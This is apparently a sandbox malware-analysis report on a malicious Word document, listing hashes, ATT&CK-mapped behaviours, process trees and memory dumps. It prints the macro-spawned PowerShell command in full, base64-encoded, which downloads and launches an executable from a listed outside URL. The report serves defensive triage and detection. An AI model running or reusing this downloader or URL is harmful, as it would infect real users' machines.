b6585c308bac3649bba3aba216a3be2e76b0593f03a623ed4bd1fa1dde2b1c4f

General

Target

document.doc
Size

75KB
MD5

094268e03ab9e2e23f0d24554cb81a1b
SHA1

3ff029fa49f48408e332c6de54d97d8a43513a5a
SHA256

b6585c308bac3649bba3aba216a3be2e76b0593f03a623ed4bd1fa1dde2b1c4f
SHA512

f9868abc757464fd0f3d43969c532558167edcaa8c92a36e987f9ad37370eb7dd0a2e18e7acca00ce20d714ac9f7237f967e3094d3451fb357632ea5c9867635

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://m6147keeganpw.info/sp282y/si2s81-19.php?l=rwoq3.dat

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2896	492	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

492 WINWORD.EXE
492 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2896 powershell.exe
2896 powershell.exe
2896 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2896 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

492 WINWORD.EXE
492 WINWORD.EXE
492 WINWORD.EXE
492 WINWORD.EXE
492 WINWORD.EXE
492 WINWORD.EXE
492 WINWORD.EXE

pid	process
492	WINWORD.EXE
492	WINWORD.EXE

pid	process
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2896	powershell.exe

pid	process
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 492 wrote to memory of 2896	492	WINWORD.EXE	powershell.exe
PID 492 wrote to memory of 2896	492	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\document.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Exec Bypass -enc JABpAFYAbwA4ADcAQgB1ACAAPQAgACcAdgBCAGcAVABKACcAOwAkAEcAYwBPAFUAVABhAEYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGkAVgBvADgANwBCAHUAKwAnAC4AZQB4AGUAJwA7ACQAbwA0AGYAOQBVAGQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBgAFQAYAAuAHcAZQBiAGAAQwBMAGkAZQBOAFQAOwAkAHYAdQBSAEQATwBBAHoAQwA9ACcAaAB0AHQAcAA6AC8ALwBtADYAMQA0ADcAawBlAGUAZwBhAG4AcAB3AC4AaQBuAGYAbwAvAHMAcAAyADgAMgB5AC8AcwBpADIAcwA4ADEALQAxADkALgBwAGgAcAA/AGwAPQByAHcAbwBxADMALgBkAGEAdAAnAC4AcwBwAGwAaQB0ACgAJwAlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEkAUABwAG0ANABOAGkAVwAgAGkAbgAgACQAdgB1AFIARABPAEEAegBDACkAewB0AHIAeQB7ACQAbwA0AGYAOQBVAGQALgBEAG8AdwBOAGwAbwBhAEQAZgBJAGwARQAoACQASQBQAHAAbQA0AE4AaQBXACwAIAAkAEcAYwBPAFUAVABhAEYAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABHAGMATwBVAFQAYQBGACkALgBsAEUATgBHAHQAaAAgAC0AZwBlACAAewBuAHUAbQBiAGUAcgAxAH0AKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAVABhAFIAdAAoACQARwBjAE8AVQBUAGEARgApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQANAAoA
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/492-8-0x0000023837F50000-0x0000023837F54000-memory.dmp

Filesize
16KB

Download
memory/492-3-0x00007FF9F0570000-0x00007FF9F0580000-memory.dmp

Filesize
64KB

Download
memory/492-4-0x00007FF9F0570000-0x00007FF9F0580000-memory.dmp

Filesize
64KB

Download
memory/492-5-0x00007FFA105C0000-0x00007FFA10BF7000-memory.dmp

Filesize
6.2MB

Download
memory/492-6-0x00007FF9F0570000-0x00007FF9F0580000-memory.dmp

Filesize
64KB

Download
memory/492-2-0x00007FF9F0570000-0x00007FF9F0580000-memory.dmp

Filesize
64KB

Download
memory/2896-7-0x0000000000000000-mapping.dmp

Download
memory/2896-9-0x00007FFA088C0000-0x00007FFA092AC000-memory.dmp

Filesize
9.9MB

Download
memory/2896-10-0x000001C020540000-0x000001C020541000-memory.dmp

Filesize
4KB

Download
memory/2896-11-0x000001C0208F0000-0x000001C0208F1000-memory.dmp

Filesize
4KB

Download
memory/2896-12-0x000001C020430000-0x000001C020432000-memory.dmp

Filesize
8KB

Download
memory/2896-13-0x000001C020433000-0x000001C020435000-memory.dmp

Filesize
8KB

Download
memory/2896-14-0x000001C020436000-0x000001C020438000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads